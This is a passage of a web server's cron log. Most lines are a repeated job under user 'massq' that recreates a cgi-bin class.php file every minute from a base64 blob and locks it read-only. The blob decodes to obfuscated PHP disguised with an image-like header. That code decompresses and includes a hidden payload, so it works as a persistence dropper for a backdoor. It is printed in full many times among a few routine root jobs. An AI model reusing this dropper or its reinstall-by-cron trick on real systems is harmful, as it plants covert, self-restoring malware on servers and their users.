bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:36:01 server CROND[22369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:37:01 server CROND[22529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:38:01 server CROND[22596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:39:01 server CROND[22677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:39:01 server CROND[22678]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 11:40:01 server CROND[22755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:40:01 server CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:40:01 server CROND[22756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:40:01 server CROND[22757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:41:01 server CROND[22881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:42:01 server CROND[23006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:42:01 server CROND[23007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 11:43:01 server CROND[23109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:44:01 server CROND[23177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:45:01 server CROND[23249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:45:01 server CROND[23250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:45:01 server CROND[23251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:46:01 server CROND[23377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:47:01 server CROND[23511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:48:01 server CROND[23607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:49:01 server CROND[23683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LC